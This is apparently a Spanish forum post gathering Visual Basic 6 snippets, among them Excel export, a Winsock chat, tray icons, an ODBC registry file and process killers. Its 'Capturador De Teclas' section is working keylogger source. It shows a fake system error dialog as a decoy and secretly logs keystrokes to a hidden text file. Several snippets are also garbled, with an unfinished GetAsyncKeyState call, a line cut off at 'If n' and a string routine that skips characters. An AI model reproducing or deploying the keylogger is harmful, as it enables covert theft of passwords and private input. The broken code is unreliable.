[VB6] Coleccion de Codigos Utiles

Como Exportar de Flexgrid a Excel
como exportar un arhivo a excel, usando un MsFlexgrid O MsHflexgrid, bueno consegui este codigo y uso el MSHFlexGrid, pero lo pueden cambiar a MSFlexGrid, sin ningun problema..

Código:
Sub CopyToExcel(InFlexGrid As MSHFlexGrid, Nome$, _
            ByVal TextoAdicional$)
  Dim R%, c%, Buf$, LstRow%, LstCol%
  Dim FormatMoney As Boolean
  Dim MyExcel As Excel.Application
  Dim wbExcel As Excel.Workbook
  Dim shExcel As Excel.Worksheet
  On Error Resume Next

  Set MyExcel = GetObject(, "Excel.Application")
  If Err.Number <> 0 Then
   Set MyExcel = CreateObject("Excel.Application")
  End If
  Set wbExcel = MyExcel.Workbooks.Add
  Set shExcel = wbExcel.Worksheets.Add
  shExcel.Name = Nome$
  shExcel.Activate
  LstCol% = 0
  For c% = 0 To InFlexGrid.Cols - 1
   InFlexGrid.Col = c%
   LstRow% = 0
   shExcel.Columns(Chr(Asc("A") + c%)).ColumnWidth = InFlexGrid.ColWidth(c%) / 72
   For R% = 0 To InFlexGrid.Rows - 1
     InFlexGrid.Row = R%
     Err.Clear
     Buf$ = InFlexGrid.TextMatrix(R%, c%)
     If Buf$ <> "" Then
      FormatMoney = False
      If InStr(Buf$, vbCrLf) Then
        Buf$ = StrTran(Buf$, vbCrLf, vbLf)
        Do While Right(Buf$, 1) = vbLf
         Buf$ = Left(Buf$, Len(Buf$) - 1)
        Loop
        shExcel.Range(Chr(Asc("A") + c%)).WrapText = True
      ElseIf Format(CDbl(Buf$), csFormatMoneyZero) = Buf$ Then
        If Err.Number = 0 Then
         Buf$ = Str(CDbl(Buf$))
         FormatMoney = True
        End If
      End If
      If Buf$ <> "" Then
        If InFlexGrid.MergeRow(R%) Then
         For LstCol% = c% To 1 Step -1
           If InFlexGrid.TextMatrix(R%, LstCol% - 1) <> InFlexGrid.TextMatrix(R%, c%) Then
            Exit For
           End If
         Next
         If LstCol% <> c% Then
           shExcel.Range(Chr(Asc("A") + LstCol%) & (R% + 1), _
                     Chr(Asc("A") + c%) & (R% + 1)).MergeCells = True
           shExcel.Range(Chr(Asc("A") + LstCol%) & (R% + 1), _
                     Chr(Asc("A") + c%) & (R% + 1)).BorderAround
         End If
        End If
        If InFlexGrid.MergeCol(c%) And LstRow% <> R% Then
         If InFlexGrid.TextMatrix(LstRow%, c%) = InFlexGrid.TextMatrix(R%, c%) Then
           shExcel.Range(Chr(Asc("A") + c%) & (LstRow% + 1), _
                     Chr(Asc("A") + c%) & (R% + 1)).MergeCells = True
           shExcel.Range(Chr(Asc("A") + c%) & (LstRow% + 1), _
                     Chr(Asc("A") + c%) & (R% + 1)).BorderAround
         Else
           LstRow% = R%
         End If
        End If
        shExcel.Range(Chr(Asc("A") + c%) & _
                  (R% + 1)).Font.Color = InFlexGrid.CellForeColor
        If R% < InFlexGrid.FixedRows Or c% < InFlexGrid.FixedCols Then
         shExcel.Range(Chr(Asc("A") + c%) & _
                   (R% + 1)).Font.Bold = True
          shExcel.Range(Chr(Asc("A") + c%) & _
                    (R% + 1)).Font.BackColor = 40
        End If
        shExcel.Range(Chr(Asc("A") + c%) & (R% + 1)).Value = Buf$
        If FormatMoney Then
         shExcel.Range(Chr(Asc("A") + c%) & _
                   (R% + 1)).NumberFormat = "#,##0.00;#,##0.00;#,##0.00"
        End If
      End If
     End If
   Next
  Next
  If TextoAdicional$ <> "" Then
   ' shExcel.Rows(Str(r%+2)).Delete (xlShiftUp)
   Do While Right(TextoAdicional$, 1) = vbLf
     TextoAdicional$ = Left(TextoAdicional$, _
                   Len(TextoAdicional$) - 1)
   Loop
   shExcel.Range("A" & (R% + 2)).Value = TextoAdicional$
  End If
  MyExcel.Visible = True
  Set shExcel = Nothing
  Set wbExcel = Nothing
  Set MyExcel = Nothing
End Sub
Public Function StrTran(Cadena As String, Buscar As String, Sustituir As String, Optional Veces As Variant) As String
   Dim Contador As Integer
 
Dim Resultado As String
   Dim Cambios As Integer
 

   Resultado = ""
   Cambios = 0
 
   For Contador = 1 To Len(Cadena)
     If Mid(Cadena, Contador, Len(Buscar)) = Buscar Then
     
Resultado = Resultado & Sustituir
       If Len(Buscar) > 1 Then
         
Contador = Contador + Len(Buscar) - 1
       End If
     

       ' si se especifica un nº de cambios determinados
       If Not IsMissing(Veces) Then
         
Cambios = Cambios + 1
         If Cambios = Veces Then
           
Resultado = Resultado & Mid(Cadena, Contador + 1)
           
Exit For
         
End If
End If
       If Len(Buscar) > 1 Then
         
Contador = Contador + Len(Buscar) - 1
       End If
   
Else
       Resultado = Resultado & Mid(Cadena, Contador, 1)
     End If
   Next
 
   StrTran = Resultado
End Function

Cambiar el nombre del ordenador (A pura API)
Código:
Private Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" ( _
ByVal lpComputerName As String) As Long


Public Function CambiarNombreOrdenador(NombreOrdenador As String) As Boolean
Dim lResult As Long
Dim fRV As Boolean
lResult = SetComputerName(NombreOrdenador)
If lResult <> 0 Then
fRV = True
Else
fRV = False
End If
CambiarNombreOrdenador = fRV
End Function

 Aplicacion cliente servidor control Winsock (MSWINSCK.OCX)
Una ves creada las dos aplicaciones la pueden provar las dos en un mismo ordenador solo tienes que estar en red.

Aplicación Cliente.
************************************************** *******

Controles Propiedades Valor
------------ -------------- ---------------
1- Winsock name= Winsock1
Protocol= sckTCPProtocol

2- Dos CommanBotton
CommanBotton1 name= BotonConectar
CommanBotton2 name= BotonEnviar
CommanBotton1 Caption= Conectar
CommanBotton2 Caption= Enviar


3- Tres TextBox
TextBox1 name= TextHost
TextBox2 name= TextPort
TextBox3 name= TextMensaje

Codigo:
**************
Código:
Private Sub BotonConectar_Click()
Winsock1.Close
On Error GoTo error
Winsock1.Connect TextHost, TextPort
Exit Sub
error:
MsgBox "Los datos entrados para la conexion no son correctos", , "Error"
End Sub

Private Sub BotonEnviar_Click()
On Error GoTo Error
Winsock1.SendData TextMensaje
Exit Sub
Error:
MsgBox "No esta conectado", vbCritical, "Error"
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim mensaje As String
Winsock1.GetData mensaje
MsgBox mensaje, vbInformation, "Mensaje resivido"
End Sub


**Para conectar con la aplicación servidor debe entrar
en el TextBox de nombre TextHost el nombre o IP de la PC donde se ejecuta la Aplicación de Servidor y en el de nombre TextPort el puerto por donde esta escuchando el servidor en este caso el 5500 usted lo puede cambiar solo tiene que tener en cuenta que el puerto no puede estar en uso por otra aplicación.
************************************************** *******
Aplicación Servidor.
************************************************** *******

Controles Propiedades Valor
------------ -------------- ---------------
1- Winsock name= Winsock1
Protocol= sckTCPProtocol

2-CommanBotton name= BotonEnviar
Caption= Enviar

3-TextBox name= TextMensaje

Codigo:
**************
Código:
Private Sub Form_Load()
Winsock1.LocalPort = 5500 'Puerto por donde se debe conectar el cliente
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock.Accept IdSolicitud
MsgBox "Se a conectado el Cliente", vbInformation, "Mensaje"
Winsock1.SendData "Conectado"
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim mensaje As String
Winsock1.GetData mensaje
MsgBox mensaje, vbInformation, "Mensaje resivido"
End Sub

Private Sub BotonEnviar_Click()
On Error GoTo Error
Winsock1.SendData TextMensaje
Exit Sub
Error:
MsgBox "No esta conectado", vbCritical, "Error"
End Sub


************************************************** *******

PictureBox que se recorta de acuerdo al Picture que contiene
Código:
Option Explicit

Public CalculationDone As Boolean
Public TransColor As Long
Public ByteCtr As Long
Public RgnData() As Byte

Private Const RGN_XOR = 3
Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hDC As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Function GetPixel Lib "gdi32" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function GetRegionData Lib "gdi32" (ByVal hRgn As Long, ByVal dwCount As Long, lpRgnData As Any) As Long


Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function GetObject Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long



Private PicInfo As BITMAP

Private Type BITMAP
bmType As Long
bmWidth As Long
bmHeight As Long
bmWidthBytes As Long
bmPlanes As Integer
bmBitsPixel As Integer
bmBits As Long
End Type

'Calculate a Region to shape the form
Public Sub CalcPic(Pic As PictureBox)

Dim rgnMain As Long
Dim X As Long
Dim Y As Long
Dim rgnPixel As Long
Dim RGBColor As Long
Dim dcMain As Long
Dim bmpMain As Long
Dim Width As Long
Dim Height As Long

Dim LastHit As Boolean
Dim StartX As Long
Dim StartY As Long


'Create A region to shape the Form
Width = Pic.ScaleX(Pic.Width, vbTwips, vbPixels)
Height = Pic.ScaleY(Pic.Height, vbTwips, vbPixels)
'Create a new Region
rgnMain = CreateRectRgn(0, 0, Width, Height)
dcMain = CreateCompatibleDC(Pic.hDC)
'Get the picture we us for this calculation
bmpMain = SelectObject(dcMain, Pic.Picture.Handle)

'Move thru it
For Y = 0 To Height
For X = 0 To Width
RGBColor = GetPixel(dcMain, X, Y)
'Found a transparent spot
'make it also tramsparent on the region
If RGBColor = TransColor And LastHit = False Then
LastHit = True
StartX = X
StartY = Y
ElseIf LastHit = True And RGBColor <> TransColor Then
LastHit = False
'we found Transparent Pixels now create a region
If Y > StartY Then 'We found more than one row of transparent pixels
If StartX > 0 Then 'We didnt start at point 0 so create the first line
rgnPixel = CreateRectRgn(StartX, StartY, Width + 1, StartY + 1) 'The first line from start to the end
CombineRgn rgnMain, rgnMain, rgnPixel, RGN_XOR
DeleteObject rgnPixel
Else
StartY = StartY - 1 'Tell the code to do one line more
End If
If Y > StartY + 1 Then
rgnPixel = CreateRectRgn(0, StartY + 1, Width + 1, Y) 'Now line 2 to y
CombineRgn rgnMain, rgnMain, rgnPixel, RGN_XOR
DeleteObject rgnPixel
End If
rgnPixel = CreateRectRgn(0, Y, X, Y + 1) 'the last line (x because the actual pixel is not ok)
CombineRgn rgnMain, rgnMain, rgnPixel, RGN_XOR
DeleteObject rgnPixel
Else 'We are still in the same line so create only the pixels we found
rgnPixel = CreateRectRgn(StartX, Y, X, Y + 1)
CombineRgn rgnMain, rgnMain, rgnPixel, RGN_XOR
DeleteObject rgnPixel
End If
End If
Next X
Next Y

'Remove unused
SelectObject dcMain, bmpMain
DeleteDC dcMain
DeleteObject bmpMain

'Get the Region Data so we can store it later
If rgnMain <> 0 Then
ByteCtr = GetRegionData(rgnMain, 0, ByVal 0&)
If ByteCtr > 0 Then
ReDim RgnData(0 To ByteCtr - 1)
ByteCtr = GetRegionData(rgnMain, ByteCtr, RgnData(0))
End If
'Shape the form
SetWindowRgn Pic.hWnd, rgnMain, True
End If
CalculationDone = True

End Sub


Atención:
La imagen no puede ser de tipo Ícono o variantes
Tiene que ser una imagen completa (cuadrada)
pero con el fondo que tenga el color de Transparency
Esas partes serán recortadas

 Como Crear un DSN con un archivo de registro
cuando creamos un DSN, para nuestra base de datos, windows genera algo asi, entonces para faciltarlo aqui esta este codigo, que lo guardamos en un arhivo .reg, y solo lo ejecutamos, nos crea una conexion llmada fin, para access, con contraseña "pass", usuario "user", el direccionamiento de la db.

Código:
[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\fin]
"Driver"="C:\\WINDOWS\\System32\\odbcjt32.dll"
"DBQ"="c:\\ledg\\scripts\\tubase.mdb"
"Description"="suneel accounts database"
"DriverId"=dword:00000019
"FIL"="MS Access;"
"PWD"="pass"
"SafeTransactions"=dword:00000000
"UID"="user"

[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\fin\Engines]

[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\fin\Engines\Jet]
"ImplicitCommitSync"=""
"MaxBufferSize"=dword:00000800
"PageTimeout"=dword:00000005
"Threads"=dword:00000003
"UserCommitSync"="no"

[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC Data Sources]
"fin"="Microsoft Access Driver (*.mdb)"

Minimizar en el Systray con Menu
Este es un modulo que nos permite minimizar nuestra aplicación al lado de la hora y nos brinda la posibilidad de ponerle un menu. este codigo me lo baje de una web yo solo le ise algunos arreglos para que el codigo estubiera mas organizado y fuera más facil de usar. todo el codigo estaba en el form y yo lo lleve a un modulo. y ise las funsiones. No pongo el nombre del autor original porque no estaba en los codigos junto a los comentarios .

' *******************************************
' * Módulo YCCSystray *
' * Año 2005 *
' * Modificado por: Yosvanis Cruz *
' *******************************************

'------------------------------------------------------------
' Pequeño Manual
'------------------------------------------------------------
'*Este pequeño manual es para usar correctamente este Módulo*
'
' - Este Módulo cuenta con dos funciones-
' (YCCSysTrayMinimizar y YCCSystrayMenu)
'
' Como usar correctamente YCCSysTrayMinimizar:
'
' Antes que todo esta función es la que ase que nuestra aplicación
' aparesca en el Systray de Windows(al lado de la Hora del sistema)
' Datos que debe entrar
'.FORM (Aqui debe entrar el nombre del Form donde usa la función)
'.ToolTipText (Aqui se entra el texto que se mostrara cuando se
' situe el cursor sobre el icono de nuestro systray)
'.ShowInTaskbar ( si es true cuando se minimize la aplicación se
' mostrara en el Taskbar(Barra de tareas) si es
' False no se mostrara.
'
' *******Donde usar esta Función*********
' En los eventos Load y resize del Form.
' En el evento Load: si quiere que siempre nuestra aplicación
' aparesca en el systray. en este Evento coloque ShowInTaskbar
' con valor True de lo contrario el Form iniciara Invisible
' si desea que el form nunca se muestre en el Taskbar
' (Barra de tareas) en las propiedades del Form ponga
' ShowInTaskbar en False.
'
' En el evento Resize: si quiere que aparesca apartir
' de la primera vez que se minimize nuestra aplicación aquí
' si puede colocar ShowInTaskbar con valor False.
'
' Como usar correctamente YCCSystrayMenu:
' Esta función es la que ase que se le pueda asignar menu al
' systray de nuestra aplicación Datos que debe entrar
' -- Datos que debe entrar
'.FORM (Aqui debe entrar el nombre del Form donde usa la función)
'.x (Solo tiene que poner una x)
'.Menu (colocar el nombre de un menu que exista en un form
' de nuestra aplicación)
' si quiere que el menu solo aparesca en el systray ponga su propiedad Visible en False.
' OjO esta funcion siempre debe ir en el Evento MouseMove del Form
' Para mas ayuda escribirle a Yosvanis Cruz a
' el Mail [email protected]
' --------------------------------------------------------------
Option Explicit
Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" _
(ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean
Private Declare Function SetForegroundWindow Lib "user32" _
(ByVal hwnd As Long) As Long
Private Type NOTIFYICONDATA
cbSize As Long '//size of this UDT
hwnd As Long '//handle of the app
uId As Long '//unused (set to vbNull)
uflags As Long '//Flags needed for actions
uCallBackMessage As Long '//WM we are going to subclass
hIcon As Long '//Icon we're going to use for the systray
szTip As String * 64 '//ToolTip for the mouse_over of the icon.
End Type
Private Const NIM_ADD = &H0 '//Flag : "ALL NEW nid"
Private Const NIM_MODIFY = &H1 '//Flag : "ONLY MODIFYING nid"
Private Const NIM_DELETE = &H2 '//Flag : "DELETE THE CURRENT nid"
Private Const NIF_MESSAGE = &H1 '//Flag : "Message in nid is valid"
Private Const NIF_ICON = &H2 '//Flag : "Icon in nid is valid"
Private Const NIF_TIP = &H4 '//Flag : "Tip in nid is valid"
Private Const WM_MOUSEMOVE = &H200 '//This is our CallBack Message
Private Const WM_LBUTTONDOWN = &H201 '//LButton down
Private Const WM_LBUTTONUP = &H202 '//LButton up
Private Const WM_LBUTTONDBLCLK = &H203 '//LDouble-click
Private Const WM_RBUTTONDOWN = &H204 '//RButton down
Private Const WM_RBUTTONUP = &H205 '//RButton up
Private Const WM_RBUTTONDBLCLK = &H206 '//RDouble-click
Private nid As NOTIFYICONDATA
Dim VarHor As String
Dim Varmin As String
Public Function YCCSysTrayMinimizar(Form As Form, ToolTipText As String, ShowInTaskbar As Boolean)
If ShowInTaskbar = False Then Form.Visible = False
With nid
.cbSize = Len(nid)
.hwnd = Form.hwnd
.uId = vbNull
.uflags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallBackMessage = WM_MOUSEMOVE
.hIcon = Form.Icon
.szTip = ToolTipText & vbNullChar
End With
Shell_NotifyIcon NIM_ADD, nid
End Function

Public Function YCCSystrayMenu(Form As Form, x As Single, Menu As Menu)
'//////////////////////////////////////////////////////////////////
'//Purpose: This is the callback function of icon in the
'// system tray. This is where will will process
'// what the application will do when Mouse Input
'// is given to the icon.
'//
'//Inputs: What Button was clicked (this is button & shift),
'// also, the X & Y coordinates of the mouse.
'//////////////////////////////////////////////////////////////////

Dim msg As Long '//The callback value

'//The value of X will vary depending
'//upon the ScaleMode setting. Here
'//we are using that fact to determine
'//what the value of 'msg' should really be
If (Form.ScaleMode = vbPixels) Then
msg = x
Else
msg = x / Screen.TwipsPerPixelX
End If

Select Case msg
Case WM_LBUTTONDBLCLK '515 restore form window
Form.WindowState = vbNormal
Call SetForegroundWindow(Form.hwnd)
Form.Show

Case WM_RBUTTONUP '517 display popup menu
Call SetForegroundWindow(Form.hwnd)
Form.PopupMenu Menu

Case WM_LBUTTONUP '514 restore form window
'//commonly an application on the
'//systray will do nothing on a
'//single mouse_click, so nothing
End Select

'//small note: I just learned that when using a Select Case
'//structure you always want to place the most commonly anticipated
'//action highest. Saves CPU cycles becuase of less evaluations.
End Function
' ************************************************** *************

Como reproducir MP3
Escribimos en un módulo:

Código:
Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long


Para reproducirlo:

Código:
iRESULT = mciExecute("Play C:\Chiquita.mp3")


Para detener la reproducción

Código:
iRESULT = mciExecute("stop C:\Chiquita.mp3")

Como conectar un DbCombo a una Base de datos
Para conectar un DBCombo un DbList usamos el siguiente codigo

Código:
Private Sub Cargar_Clientes()
Dim AdoP As New Recordset
Set AdoP = New Recordset
AdoP.Open "SELECT   `clientes`.`nit_cliente`,  `clientes`.`nombre` FROM   `clientes` WHERE   (`clientes`.`cliente` <> 0) ORDER BY `nombre`", Cxn, adOpenStatic, adLockOptimistic
Set CboCliente2.DataSource = AdoP
Set CboCliente2.RowSource = AdoP
CboCliente2.BoundColumn = "nit_cliente"
CboCliente2.ListField = "nombre"
End Sub

Obtener información de una partición de disco
Obtener datos como la etiqueta y el sistema de archivos de una partición:

Código:
Option Explicit
Private Declare Function GetVolumeInformation Lib "Kernel32" _
Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, _
ByVal lpVolumeNameBuffer As String, _
ByVal nVolumeNameSize As Long, _
lpVolumeSerialNumber As Long, _
lpMaximumComponentLength As Long, _
lpFileSystemFlags As Long, _
ByVal lpFileSystemNameBuffer As String, _
ByVal nFileSystemNameSize As Long) As Long
Private Sub Command1_Click()
Dim lVSN As Long, n As Long, s1 As String, s2 As String
Dim unidad As String
Dim sTmp As String
On Local Error Resume Next
unidad = Trim$(Text1)
s1 = String$(255, Chr$(0))
s2 = String$(255, Chr$(0))
n = GetVolumeInformation(unidad, s1, Len(s1), lVSN, 0, 0, s2, Len(s2))
sTmp = Hex$(lVSN)
Label1(0) = s1
Label1(1) = Left$(sTmp, 4) & "-" & Right$(sTmp, 4)
Label1(2) = s2
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set Form1 = Nothing
End Sub


Se necesitará de Text1 para ingresar la letra de la partición. Por ejemplo: "C:\", Command1 para obtener la información y Label1 indexado para mostrar la información

_________________

Como hacer un boton en Flash para VB6
hace un boton en flash. y le colocas esto esto en el evento on_release

Código:
 on (release){
    fscommand("elmensaje");
 }


despues te vas al proyecto de vb6 y agregas tu shockwaveflash ya con el botoncito y todo muy bonito...(jaja)

depues de haber insetado el shockwaveflash, cargas tu botoncito..

digamos que tu boton se llama botonswf.swf

entonces el form load agregas esto..

Código:
ShockwaveFlash.Movie = App.Path & "botonswf.swf"


bueno despues en shockwaveflash haces doble click y dentro de los procedimiento seleccionas el FsCommand

Código:
 Private Sub ShockwaveFlash_FSCommand(ByVal command As String, ByVal args As String)
 Select Case command
     Case "elmensaje"
            msgbox "Este es el mensaje pasado desde flash..",vbinformation,"mensaje"
 End Select
 End Sub


de esta manera tenes un boton de flash insertado en vb..

killer proces 3 ejemplos publicos

Public Sub KillProcess(ByVal processName As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices

servicename = LCase(Trim(CStr(oService.Name) & ""))

If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If

Next

Set oServices = Nothing
Set oWMI = Nothing

ErrHandler:
Err.Clear
End Sub

Código:

Declare Function KILL_PROC_BY_NAME Lib "killproc" (ByVal FileName As String) As Long

Luego en alguna parte de tu programa, si queres, por ejemplo, terminar todos los internet explorers pode hacer:
Código:

KILL_PROC_BY_NAME "iexplore.exe"

o si queres ver si ocurrió algún error:
Código:

nError = KILL_PROC_BY_NAME("winrar.exe")
 
If n

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Long, ByVal lpWindowName As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function LockWindowUpdate Lib "user32" (ByVal hwndLock As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function Putfocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Const GW_HWNDNEXT = 2
Dim mWnd As Long
Function InstanceToWnd(ByVal target_pid As Long) As Long
    Dim test_hwnd As Long, test_pid As Long, test_thread_id As Long
    'Find the first window
    test_hwnd = FindWindow(ByVal 0&, ByVal 0&)
    Do While test_hwnd <> 0
        'Check if the window isn't a child
        If GetParent(test_hwnd) = 0 Then
            'Get the window's thread
            test_thread_id = GetWindowThreadProcessId(test_hwnd, test_pid)
            If test_pid = target_pid Then
                InstanceToWnd = test_hwnd
                Exit Do
            End If
        End If
        'retrieve the next window
        test_hwnd = GetWindow(test_hwnd, GW_HWNDNEXT)
    Loop
End Function
Private Sub Form_Load()
    'KPD-Team 1999
    'URL: [url=http://www.allapi.net/]http://www.allapi.net/[/url]
    'E-Mail: [email protected]
    Dim Pid As Long
    'Lock the window update
    LockWindowUpdate GetDesktopWindow
    'Execute notepad.Exe
    Pid = Shell("c:\windows\notepad.exe", vbNormalFocus)
    If Pid = 0 Then MsgBox "Error starting the app"
    'retrieve the handle of the window
    mWnd = InstanceToWnd(Pid)
    'Set the notepad's parent
    SetParent mWnd, Me.hwnd
    'Put the focus on notepad
    Putfocus mWnd
    'Unlock windowupdate
    LockWindowUpdate False
End Sub
Private Sub Form_Unload(Cancel As Integer)
    'Unload notepad
    DestroyWindow mWnd
    'End this program
    TerminateProcess GetCurrentProcess, 0
End Sub

Como Bloquear el Boton Cerrar del Formulario
Primero debemos de Crear un módulo para nuestras declaraciónes.

y le colocamos este codigo

Código:
Public Declare Function GetSystemMenu Lib "user32" _
   (ByVal hWnd As Long, ByVal bRevert As Long) As Long
Public Declare Function ModifyMenu Lib "user32" Alias "ModifyMenuA" _
   (ByVal hMenu As Long, ByVal nPosition As Long, _
   ByVal wFlags As Long, ByVal wIDNewItem As Long, _
   ByVal lpString As Any) As Long
Public Declare Function DrawMenuBar Lib "user32" _
   (ByVal hWnd As Long) As Long
'
Global Const MF_BYCOMMAND = &H0&
Global Const MF_ENABLED = &H0&
Global Const MF_GRAYED = &H1&
'
Public Const SC_CLOSE = &HF060&
' Básicamente lo que se hace es dibujar una caba sobre el botón actual
'la cual lo bloquea


En el formulario principal colcamos el siguiente codigo el cual hace la llamda para bloquear la X.

Código:
Private Sub Bloquear_Cerrar()
Dim hMenu As Long
   '
hMenu = GetSystemMenu(hWnd, 0)
   ' Deshabilitar el menú cerrar del formulario
Call ModifyMenu(hMenu, SC_CLOSE, MF_BYCOMMAND Or MF_GRAYED, -10, "Close")
End Sub
Private Sub Form_Load()
Bloquear_Cerrar ' llamamos a nuestro evento
End Sub

Capturador De Teclas
Código:
'CREAN UN MODULO CON EL SIGUIENTE CODIGO:
Global w As Integer
Global bb As Boolean

'LUEGO CREAN UN PROYECTO CON EL SIGUIENTE CODIGO
Dim m As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIgnore, "ERROR")
Loop
Timer1.Interval = 1
Timer2.Interval = 10000
m = Minute(Time) + 5
End Sub

Private Sub Text3_Change()
w = w + 1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)

End If
Next
Text3.Text = Text1.Text
x = GetAsyncKeyState(112)
If x = -32767 Then
Text1.Text = Text1.Text & "{F1}"
End If
x = GetAsyncKeyState(113)
If x = -32767 Then
Text1.Text = Text1.Text & "{F2}"
End If
x = GetAsyncKeyState(114)
If x = -32767 Then
Text1.Text = Text1.Text & "{F3}"
End If
x = GetAsyncKeyState(115)
If x = -32767 Then
Text1.Text = Text1.Text & "{F4}"
End If
x = GetAsyncKeyState(116)
If x = -32767 Then
Text1.Text = Text1.Text & "{F5}"
End If
x = GetAsyncKeyState(117)
If x = -32767 Then
Text1.Text = Text1.Text & "{F6}"
End If
x = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text & "{F7}"
End If
x = GetAsyncKeyState(119)
If x = -32767 Then
Text1.Text = Text1.Text & "{F8}"
End If
x = GetAsyncKeyState(120)
If x = -32767 Then
Text1.Text = Text1.Text & "{F9}"
End If
x = GetAsyncKeyState(121)
If x = -32767 Then
Text1.Text = Text1.Text & "{F10}"
End If
x = GetAsyncKeyState(122)
If x = -32767 Then
Text1.Text = Text1.Text & "{F11}"
End If
x = GetAsyncKeyState(123)
If x = -32767 Then
Text1.Text = Text1.Text & "{F12}"
End If

x = GetAsyncKeyState(
If x = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If

x = GetAsyncKeyState(9)
If x = -32767 Then
Text1.Text = Text1.Text & "{tab}"
End If

x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text & "{enter}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(27)
If x = -32767 Then
Text1.Text = Text1.Text & "{esc}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(32)
If x = -32767 Then
Text1.Text = Text1.Text & " "
End If

Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If

Text2.Text = c

If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c

bb = False

End If

End Sub

Private Sub Timer2_Timer()
Open "\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End
End If

End Sub

 Como conectarme a MySQL desde VB6
1ro. Tener instalado un servidor Mysql con el puerto 3306 abierto y tener configurado el usuario correctamente para poder acceder remotamente o bien sea via localhost.

2do. Tener instalado en la computadora Cliente el Mysql ODBC Driver 3.51, que lo pueden descargar de Mysql.com


3ro. bueno.. el codigo..

Código:
        Dim Cxn As ADODB.Connection
        Dim AdoS As ADODB.Recordset
   Dim CxnFac As String
   Set Cxn = New Connection
   Cxn.CursorLocation = adUseClient
